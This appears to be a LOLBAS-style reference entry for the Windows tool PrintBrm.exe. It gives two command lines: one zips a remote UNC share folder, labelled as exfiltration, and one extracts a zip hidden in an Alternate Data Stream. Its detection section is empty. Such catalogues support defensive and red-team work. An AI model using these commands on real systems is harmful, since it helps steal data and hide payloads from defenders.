PrintBrm.exe

Printer Migration Command-Line Tool

Paths

  • C:\Windows\System32\spool\tools\PrintBrm.exe

Commands

Download

Create a ZIP file from a folder in a remote drive

Use case: Exfiltrate the contents of a remote folder on a UNC share into a zip file

Privileges: User

PrintBrm -b -d {PATH_SMB:folder} -f {PATH_ABSOLUTE:.zip}

ADS

Extract the contents of a ZIP file stored in an Alternate Data Stream (ADS) and store it in a folder

Use case: Decompress and extract a ZIP file stored on an alternate data stream to a new folder

Privileges: User

PrintBrm -r -f {PATH_ABSOLUTE}:hidden.zip -d {PATH_ABSOLUTE:folder}

Detection

Resources